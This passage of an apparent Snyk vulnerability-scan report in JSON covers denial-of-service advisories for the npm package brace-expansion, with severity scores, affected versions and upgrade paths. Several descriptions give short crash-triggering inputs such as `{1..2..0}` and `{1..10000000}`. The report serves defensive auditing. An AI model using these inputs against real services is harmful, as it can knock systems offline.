allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", 